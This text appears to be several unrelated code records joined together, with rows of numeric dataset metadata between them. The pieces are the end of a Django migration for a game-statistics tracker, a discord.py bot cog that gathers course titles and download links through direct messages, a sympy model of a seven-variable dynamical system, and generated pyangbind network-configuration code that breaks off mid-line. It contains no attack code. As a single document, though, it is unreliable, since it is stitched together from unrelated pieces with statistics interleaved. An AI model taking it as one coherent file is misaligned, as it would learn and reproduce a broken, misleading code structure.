'True'}), 'gametype': ('django.db.models.fields.SmallIntegerField', [], {'null': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'mapname': ('django.db.models.fields.SmallIntegerField', [], {'null': 'True'}), 'outcome': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'player_num': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'rd_bombs_defused': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'rd_bombs_total': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'score_sus': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'score_swat': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'server': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['tracker.Server']", 'on_delete': 'models.SET_NULL', 'null': 'True'}), 'tag': ('django.db.models.fields.CharField', [], {'max_length': '8', 'null': 'True', 'unique': 'True'}), 'time': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'vict_sus': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'vict_swat': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}) }, 'tracker.ip': { 'Meta': {'object_name': 'IP', 'unique_together': "(('range_from', 'range_to'),)"}, 'date_created': ('django.db.models.fields.DateTimeField', [], {'blank': 'True', 'auto_now_add': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'isp': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['tracker.ISP']", 'null': 'True'}), 'range_from': ('django.db.models.fields.BigIntegerField', [], {}), 'range_to': ('django.db.models.fields.BigIntegerField', [], {}) }, 'tracker.isp': { 'Meta': {'object_name': 'ISP'}, 'country': ('django.db.models.fields.CharField', [], {'max_length': '2', 'null': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True'}) }, 'tracker.loadout': { 'Meta': {'object_name': 'Loadout'}, 'body': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'breacher': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'equip_five': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'equip_four': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'equip_one': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'equip_three': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'equip_two': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'head': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'primary': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'primary_ammo': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'secondary': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'secondary_ammo': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}) }, 'tracker.objective': { 'Meta': {'object_name': 'Objective'}, 'game': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['tracker.Game']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.SmallIntegerField', [], {}), 'status': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}) }, 'tracker.player': { 'Meta': {'object_name': 'Player'}, 'admin': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'alias': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['tracker.Alias']"}), 'arrest_streak': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'arrested': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'arrests': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'coop_enemy_arrests': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'coop_enemy_incaps': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'coop_enemy_incaps_invalid': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'coop_enemy_kills': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'coop_enemy_kills_invalid': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'coop_hostage_arrests': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'coop_hostage_hits': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'coop_hostage_incaps': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'coop_hostage_kills': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'coop_status': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'coop_toc_reports': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'death_streak': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'deaths': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'dropped': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'game': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['tracker.Game']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'ip': ('django.db.models.fields.GenericIPAddressField', [], {'max_length': '39'}), 'kill_streak': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'kills': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'loadout': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['tracker.Loadout']", 'on_delete': 'models.SET_NULL', 'null': 'True'}), 'rd_bombs_defused': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'score': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'sg_escapes': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'sg_kills': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'suicides': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'team': ('django.db.models.fields.SmallIntegerField', [], {'null': 'True'}), 'teamkills': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'time': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'vip': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'vip_captures': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'vip_escapes': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'vip_kills_invalid': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'vip_kills_valid': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'vip_rescues': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}) }, 'tracker.procedure': { 'Meta': {'object_name': 'Procedure'}, 'game': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['tracker.Game']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.SmallIntegerField', [], {}), 'score': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'status': ('django.db.models.fields.CharField', [], {'max_length': '7'}) }, 'tracker.profile': { 'Meta': {'object_name': 'Profile'}, 'country': ('django.db.models.fields.CharField', [], {'max_length': '2', 'null': 'True'}), 'game_first': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'+'", 'on_delete': 'models.SET_NULL', 'null': 'True', 'to': "orm['tracker.Game']"}), 'game_last': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'+'", 'on_delete': 'models.SET_NULL', 'null': 'True', 'to': "orm['tracker.Game']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'loadout': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['tracker.Loadout']", 'on_delete': 'models.SET_NULL', 'null': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '64', 'null': 'True'}), 'team': ('django.db.models.fields.SmallIntegerField', [], {'null': 'True'}) }, 'tracker.rank': { 'Meta': {'object_name': 'Rank', 'unique_together': "(('year', 'category', 'profile'),)"}, 'category': ('django.db.models.fields.SmallIntegerField', [], {}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'points': ('django.db.models.fields.FloatField', [], {'default': '0'}), 'position': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True', 'null': 'True'}), 'profile': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['tracker.Profile']"}), 'year': ('django.db.models.fields.SmallIntegerField', [], {}) }, 'tracker.server': { 'Meta': {'object_name': 'Server', 'unique_together': "(('ip', 'port'),)"}, 'country': ('django.db.models.fields.CharField', [], {'blank': 'True', 'max_length': '2', 'null': 'True'}), 'enabled': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'ip': ('django.db.models.fields.GenericIPAddressField', [], {'max_length': '39'}), 'key': ('django.db.models.fields.CharField', [], {'max_length': '32'}), 'listed': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'port': ('django.db.models.fields.PositiveIntegerField', [], {}), 'port_gs1': ('django.db.models.fields.PositiveIntegerField', [], {'blank': 'True', 'null': 'True'}), 'port_gs2': ('django.db.models.fields.PositiveIntegerField', [], {'blank': 'True', 'null': 'True'}), 'streamed': ('django.db.models.fields.BooleanField', [], {'default': 'False'}) }, 'tracker.weapon': { 'Meta': {'object_name': 'Weapon'}, 'distance': ('django.db.models.fields.FloatField', [], {'default': '0'}), 'hits': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'kills': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'name': ('django.db.models.fields.SmallIntegerField', [], {}), 'player': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['tracker.Player']"}), 'shots': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'teamhits': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'teamkills': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}), 'time': ('django.db.models.fields.SmallIntegerField', [], {'default': '0'}) } } complete_apps = ['tracker']
69.196643
179
0.59851
3,110
28,855
5.446945
0.051768
0.115702
0.201653
0.288076
0.868949
0.852952
0.847048
0.788843
0.706671
0.570425
0
0.007061
0.185306
28,855
417
180
69.196643
0.713544
0.037255
0
0.245665
0
0
0.527372
0.355065
0
0
0
0
0
1
0.00578
false
0
0.011561
0
0.026012
0
0
0
0
null
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f8339b05c5a9b4b5f5e1efde7fc270fbae20f7e5
13,952
py
Python
Commands/harddisk.py
BlackZacky/JrBlack
a9e064d85170f9185f7598393d58fe9c58cb85ad
[ "MIT" ]
5
2021-01-05T15:18:16.000Z
2022-03-13T01:21:05.000Z
Commands/harddisk.py
BlackZacky/JRBlacK
a9e064d85170f9185f7598393d58fe9c58cb85ad
[ "MIT" ]
null
null
null
Commands/harddisk.py
BlackZacky/JRBlacK
a9e064d85170f9185f7598393d58fe9c58cb85ad
[ "MIT" ]
1
2021-01-15T00:14:22.000Z
2021-01-15T00:14:22.000Z
from discord.ext import commands from Database import database from Commands.Utils.icons import getIcon from Commands.Utils import checks import discord IdentityI = getIcon("Identity") LanguageI = getIcon("Language") StorageI = getIcon("Storage") TitleI = getIcon("Name") WebsiteI = getIcon("Website") CalendarI = getIcon("Calendar") DesignI = getIcon("Design") HddI = getIcon("HD") ImacI = getIcon("Imac") class MyHardDisk(commands.Cog, name="Disco Rigido"): def __init__(self, client): self.client = client self.guild = database.guild() self.check = database.check() @commands.command() @commands.guild_only() async def harddisk(self, ctx): ChannelHard = self.guild.get_harddisk(ctx.guild.id) if ChannelHard == 0: return await ctx.send(embed=discord.Embed(description="Comando HardDisk está desativado.", color=0xef0027)) def checker(message): return message.author == ctx.author and message.author.dm_channel == message.channel try: author0 = await ctx.author.send(embed=discord.Embed(description="Qual título do curso/apostila ? (Min: 3) (1/7)", color=0x444444)) except: return await ctx.send(embed=discord.Embed(description="Seu privado está desativado.", color=0xef0027)) try: titulo = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: editora0 = await ctx.author.send(embed=discord.Embed(description="Qual editora ? (Min: 3) (2/7)", color=0x444444)) editora = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: genero0 = await ctx.author.send(embed=discord.Embed(description="Qual gênero ? (Min: 3) (3/7)", color=0x444444)) genero = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: ano0 = await ctx.author.send(embed=discord.Embed(description="Qual ano do curso/apostila ? (Min: 3) (4/7)", color=0x444444)) ano = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: tamanho0 = await ctx.author.send(embed=discord.Embed(description="Qual tamanho do arquivo ? (Min: 3) (5/7)", color=0x444444)) tamanho = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: idioma0 = await ctx.author.send(embed=discord.Embed(description="Qual o idioma do curso/apostila ? (Min: 3) (6/7)", color=0x444444)) idioma = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: link0 = await ctx.author.send(embed=discord.Embed(description="Qual link para download ?? (Min: 3) (7/7)", color=0x444444)) link = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) embed = discord.Embed(title=f"{HddI}HardDisk - {ctx.guild.name}", color=0x444444) embed.add_field(name=f"{IdentityI}Por:", value=f"```{ctx.author.name}```", inline=True) embed.add_field(name=f"{DesignI}Editora:", value=f"```{editora.content}```", inline=True) embed.add_field(name=f"{ImacI}Gênero:", value=f"```{genero.content}```", inline=True) embed.add_field(name=f"{LanguageI}Idioma:", value=f"```{idioma.content}```", inline=True) embed.add_field(name=f"{CalendarI}Ano:", value=f"```{ano.content}```", inline=True) embed.add_field(name=f"{StorageI}Tamanho:", value=f"```{tamanho.content}```", inline=True) embed.add_field(name=f"{TitleI}Título:", value=f"```{titulo.content}```", inline=False) if "http://" in link.content or "https://" in link.content: embed.add_field(name=f"{WebsiteI}Download:", value=f"```{link.content}```\nMobile: [**`link`**]({link.content})", inline=False) else: embed.add_field(name=f"{WebsiteI}Download:", value=f"```{link.content}```", inline=False) await self.client.get_channel(ChannelHard).send(embed=embed) await ctx.author.send(embed=discord.Embed(description="Curso/Apostila foi adicionado com sucesso.", color=0x00ef5b)) @commands.command() @commands.guild_only() async def harddisk2(self, ctx): ChannelHard = self.guild.get_harddisk_2(ctx.guild.id) if ChannelHard == 0: return await ctx.send(embed=discord.Embed(description="Comando HardDisk está desativado.", color=0xef0027)) def checker(message): return message.author == ctx.author and message.author.dm_channel == message.channel try: author0 = await ctx.author.send(embed=discord.Embed(description="Qual título do curso/apostila ? (Min: 3) (1/7)", color=0x444444)) except: return await ctx.send(embed=discord.Embed(description="Seu privado está desativado.", color=0xef0027)) try: titulo = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: editora0 = await ctx.author.send(embed=discord.Embed(description="Qual editora ? (Min: 3) (2/7)", color=0x444444)) editora = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: genero0 = await ctx.author.send(embed=discord.Embed(description="Qual gênero ? (Min: 3) (3/7)", color=0x444444)) genero = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: ano0 = await ctx.author.send(embed=discord.Embed(description="Qual ano do curso/apostila ? (Min: 3) (4/7)", color=0x444444)) ano = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: tamanho0 = await ctx.author.send(embed=discord.Embed(description="Qual tamanho do arquivo ? (Min: 3) (5/7)", color=0x444444)) tamanho = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: idioma0 = await ctx.author.send(embed=discord.Embed(description="Qual o idioma do curso/apostila ? (Min: 3) (6/7)", color=0x444444)) idioma = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: link0 = await ctx.author.send(embed=discord.Embed(description="Qual link para download ?? (Min: 3) (7/7)", color=0x444444)) link = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) embed = discord.Embed(title=f"{HddI}HardDisk - {ctx.guild.name}", color=0x444444) embed.add_field(name=f"{IdentityI}Por:", value=f"```{ctx.author.name}```", inline=True) embed.add_field(name=f"{DesignI}Editora:", value=f"```{editora.content}```", inline=True) embed.add_field(name=f"{ImacI}Gênero:", value=f"```{genero.content}```", inline=True) embed.add_field(name=f"{LanguageI}Idioma:", value=f"```{idioma.content}```", inline=True) embed.add_field(name=f"{CalendarI}Ano:", value=f"```{ano.content}```", inline=True) embed.add_field(name=f"{StorageI}Tamanho:", value=f"```{tamanho.content}```", inline=True) embed.add_field(name=f"{TitleI}Título:", value=f"```{titulo.content}```", inline=False) if "http://" in link.content or "https://" in link.content: embed.add_field(name=f"{WebsiteI}Download:", value=f"```{link.content}```\nMobile: [**`link`**]({link.content})", inline=False) else: embed.add_field(name=f"{WebsiteI}Download:", value=f"```{link.content}```", inline=False) await self.client.get_channel(ChannelHard).send(embed=embed) await ctx.author.send(embed=discord.Embed(description="Curso/Apostila foi adicionado com sucesso.", color=0x00ef5b)) @commands.command() @commands.guild_only() async def harddisk3(self, ctx): ChannelHard = self.guild.get_harddisk_3(ctx.guild.id) if ChannelHard == 0: return await ctx.send(embed=discord.Embed(description="Comando HardDisk está desativado.", color=0xef0027)) def checker(message): return message.author == ctx.author and message.author.dm_channel == message.channel try: author0 = await ctx.author.send(embed=discord.Embed(description="Qual título do curso/apostila ? (Min: 3) (1/7)", color=0x444444)) except: return await ctx.send(embed=discord.Embed(description="Seu privado está desativado.", color=0xef0027)) try: titulo = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: editora0 = await ctx.author.send(embed=discord.Embed(description="Qual editora ? (Min: 3) (2/7)", color=0x444444)) editora = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: genero0 = await ctx.author.send(embed=discord.Embed(description="Qual gênero ? (Min: 3) (3/7)", color=0x444444)) genero = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: ano0 = await ctx.author.send(embed=discord.Embed(description="Qual ano do curso/apostila ? (Min: 3) (4/7)", color=0x444444)) ano = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: tamanho0 = await ctx.author.send(embed=discord.Embed(description="Qual tamanho do arquivo ? (Min: 3) (5/7)", color=0x444444)) tamanho = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: idioma0 = await ctx.author.send(embed=discord.Embed(description="Qual o idioma do curso/apostila ? (Min: 3) (6/7)", color=0x444444)) idioma = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) try: link0 = await ctx.author.send(embed=discord.Embed(description="Qual link para download ?? (Min: 3) (7/7)", color=0x444444)) link = await self.client.wait_for("message", check=checker, timeout=180) except: return await ctx.author.send(embed=discord.Embed(description="Seu tempo acabou! :(", color=0xef0027)) embed = discord.Embed(title=f"{HddI}HardDisk - {ctx.guild.name}", color=0x444444) embed.add_field(name=f"{IdentityI}Por:", value=f"```{ctx.author.name}```", inline=True) embed.add_field(name=f"{DesignI}Editora:", value=f"```{editora.content}```", inline=True) embed.add_field(name=f"{ImacI}Gênero:", value=f"```{genero.content}```", inline=True) embed.add_field(name=f"{LanguageI}Idioma:", value=f"```{idioma.content}```", inline=True) embed.add_field(name=f"{CalendarI}Ano:", value=f"```{ano.content}```", inline=True) embed.add_field(name=f"{StorageI}Tamanho:", value=f"```{tamanho.content}```", inline=True) embed.add_field(name=f"{TitleI}Título:", value=f"```{titulo.content}```", inline=False) if "http://" in link.content or "https://" in link.content: embed.add_field(name=f"{WebsiteI}Download:", value=f"```{link.content}```\nMobile: [**`link`**]({link.content})", inline=False) else: embed.add_field(name=f"{WebsiteI}Download:", value=f"```{link.content}```", inline=False) await self.client.get_channel(ChannelHard).send(embed=embed) await ctx.author.send(embed=discord.Embed(description="Curso/Apostila foi adicionado com sucesso.", color=0x00ef5b)) def setup(client): client.add_cog(MyHardDisk(client))
56.258065
144
0.648581
1,755
13,952
5.117949
0.075214
0.054108
0.102204
0.119238
0.944222
0.944222
0.944222
0.927076
0.927076
0.927076
0
0.041752
0.194882
13,952
248
145
56.258065
0.757856
0
0
0.865672
0
0
0.219093
0.041281
0
0
0.030961
0
0
1
0.024876
false
0
0.024876
0.014925
0.20398
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f84fe245d84f78a35bfe612c440c0cb81ad0f0a3
2,768
py
Python
models/LL.py
Tarheel-Formal-Methods/kaa-optimize
35fe7b580df3b5efe7de9314b821c257f68d74bf
[ "MIT" ]
null
null
null
models/LL.py
Tarheel-Formal-Methods/kaa-optimize
35fe7b580df3b5efe7de9314b821c257f68d74bf
[ "MIT" ]
2
2020-12-11T17:34:46.000Z
2020-12-11T21:43:13.000Z
models/LL.py
Tarheel-Formal-Methods/kaa-optimize
35fe7b580df3b5efe7de9314b821c257f68d74bf
[ "MIT" ]
1
2020-12-11T17:31:16.000Z
2020-12-11T17:31:16.000Z
import sympy as sp import numpy as np from kaa.bundle import Bundle from kaa.model import Model class LL(Model): def __init__(self, delta=0.05, init_box = ((1.19, 1.21), (1.04, 1.06), (1.49, 1.51), (2.39, 2.41), (0.99, 1.01), (0.09, 0.11), (0.44, 0.46), (2.81, 2.87), (2.58, 2.66))): x1, x2, x3, x4, x5, x6, x7 = sp.Symbol('x1'), sp.Symbol('x2'), sp.Symbol('x3'), sp.Symbol('x4'),sp.Symbol('x5'), sp.Symbol('x6'), sp.Symbol('x7') dx1 = x1 + (1.4*x3 - 0.9*x1)*delta dx2 = x2 + (2.5*x5 - 1.5*x2)*delta dx3 = x3 + (0.6*x7 - 0.8*x2*x3)*delta dx4 = x4 + (2 - 1.3*x3*x4)*delta dx5 = x5 + (0.7*x1 - x4*x5)*delta dx6 = x6 + (0.3*x1 - 3.1*x6)*delta dx7 = x7 + (1.8*x6 - 1.5*x2*x7)*delta vars = [x1, x2, x3, x4, x5, x6, x7] dyns = [dx1, dx2, dx3, dx4, dx5, dx6, dx7] dim_sys = 7 num_dirs = 9 num_temps = 3 L = np.zeros([num_dirs, dim_sys]) for i in range(dim_sys): L[i][i] = 1 L[7][2] = 1; L[7][3] = 1; L[8][3] = 1; L[8][4] = 1; T = np.zeros([num_temps, dim_sys]) T[0][0] = 0; T[0][1] = 1; T[0][2] = 2; T[0][3] = 3; T[0][4] = 4; T[0][5] = 5; T[0][6] = 6; T[0][0] = 1; T[0][1] = 2; T[0][2] = 3; T[0][3] = 4; T[0][4] = 5; T[0][5] = 6; T[0][6] = 7; T[1][0] = 2; T[1][1] = 3; T[1][2] = 4; T[1][3] = 5; T[1][4] = 6; T[1][5] = 7; T[1][6] = 8; offu = np.zeros(num_dirs) offl = np.zeros(num_dirs) super().__init__(dyns, vars, delta, T, L, init_box, offl, offu, name="LL") class LL_UnitBox(Model): def __init__(self, delta=0.05, init_box = ((1.19, 1.21), (1.04, 1.06), (1.49, 1.51), (2.39, 2.41), (0.99, 1.01), (0.09, 0.11), (0.44, 0.46))): x1, x2, x3, x4, x5, x6, x7 = sp.Symbol('x1'), sp.Symbol('x2'), sp.Symbol('x3'), sp.Symbol('x4'),sp.Symbol('x5'), sp.Symbol('x6'), sp.Symbol('x7') dx1 = x1 + (1.4*x3 - 0.9*x1)*delta dx2 = x2 + (2.5*x5 - 1.5*x2)*delta dx3 = x3 + (0.6*x7 - 0.8*x2*x3)*delta dx4 = x4 + (2 - 1.3*x3*x4)*delta dx5 = x5 + (0.7*x1 - x4*x5)*delta dx6 = x6 + (0.3*x1 - 3.1*x6)*delta dx7 = x7 + (1.8*x6 - 1.5*x2*x7)*delta vars = [x1, x2, x3, x4, x5, x6, x7] dyns = [dx1, dx2, dx3, dx4, dx5, dx6, dx7] dim_sys = 7 num_dirs = 7 num_temps = 1 L = np.zeros([num_dirs, dim_sys]) for i in range(dim_sys): L[i][i] = 1 T = np.zeros([num_temps, dim_sys]) T[0][0] = 0; T[0][1] = 1; T[0][2] = 2; T[0][3] = 3; T[0][4] = 4; T[0][5] = 5; T[0][6] = 6; offu = np.zeros(num_dirs) offl = np.zeros(num_dirs) super().__init__(dyns, vars, delta, T, L, init_box, offl, offu, name="LL")
34.17284
174
0.460983
559
2,768
2.209302
0.143113
0.034008
0.064777
0.068016
0.836437
0.836437
0.836437
0.836437
0.836437
0.836437
0
0.190816
0.291908
2,768
80
175
34.6
0.439286
0
0
0.703704
0
0
0.011561
0
0
0
0
0
0
1
0.037037
false
0
0.074074
0
0.148148
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
f8c9cf54d465477573848ef1797fc0cab6a98a21
28,411
py
Python
pybind/nos/v7_1_0/interface_vlan/interface/ve/ipv6/ipv6_anycast_gateway/__init__.py
shivharis/pybind
4e1c6d54b9fd722ccec25546ba2413d79ce337e6
[ "Apache-2.0" ]
null
null
null
pybind/nos/v7_1_0/interface_vlan/interface/ve/ipv6/ipv6_anycast_gateway/__init__.py
shivharis/pybind
4e1c6d54b9fd722ccec25546ba2413d79ce337e6
[ "Apache-2.0" ]
null
null
null
pybind/nos/v7_1_0/interface_vlan/interface/ve/ipv6/ipv6_anycast_gateway/__init__.py
shivharis/pybind
4e1c6d54b9fd722ccec25546ba2413d79ce337e6
[ "Apache-2.0" ]
1
2021-11-05T22:15:42.000Z
2021-11-05T22:15:42.000Z
from operator import attrgetter import pyangbind.lib.xpathhelper as xpathhelper from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType from pyangbind.lib.base import PybindBase from decimal import Decimal from bitarray import bitarray import __builtin__ import ipv6_gateway_address import gratuitous_arp class ipv6_anycast_gateway(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module brocade-interface - based on the path /interface-vlan/interface/ve/ipv6/ipv6-anycast-gateway. Each member element of the container is represented as a class variable - with a specific YANG type. """ __slots__ = ('_pybind_generated_by', '_path_helper', '_yang_name', '_rest_name', '_extmethods', '__ipv6_gw_id','__ipv6_gateway_address','__gratuitous_arp','__hold_time','__load_balancing_disable','__enable','__description',) _yang_name = 'ipv6-anycast-gateway' _rest_name = 'fabric-virtual-gateway' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): path_helper_ = kwargs.pop("path_helper", None) if path_helper_ is False: self._path_helper = False elif path_helper_ is not None and isinstance(path_helper_, xpathhelper.YANGPathHelper): self._path_helper = path_helper_ elif hasattr(self, "_parent"): path_helper_ = getattr(self._parent, "_path_helper", False) self._path_helper = path_helper_ else: self._path_helper = False extmethods = kwargs.pop("extmethods", None) if extmethods is False: self._extmethods = False elif extmethods is not None and isinstance(extmethods, dict): self._extmethods = extmethods elif hasattr(self, "_parent"): extmethods = getattr(self._parent, "_extmethods", None) self._extmethods = extmethods else: self._extmethods = False self.__enable = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="enable", rest_name="enable", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Enable Fabric Virtual Gateway', u'cli-show-no': None}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='empty', is_config=True) self.__gratuitous_arp = YANGDynClass(base=gratuitous_arp.gratuitous_arp, is_container='container', presence=False, yang_name="gratuitous-arp", rest_name="gratuitous-arp", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Gratuitous ARP'}}, namespace='urn:brocade.com:mgmt:brocade-anycast-gateway', defining_module='brocade-anycast-gateway', yang_type='container', is_config=True) self.__ipv6_gateway_address = YANGDynClass(base=YANGListType("ipv6_gw_addr",ipv6_gateway_address.ipv6_gateway_address, yang_name="ipv6-gateway-address", rest_name="gateway-address", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='ipv6-gw-addr', extensions={u'tailf-common': {u'info': u'Set IPv6 gateway Address/Prefix', u'cli-suppress-mode': None, 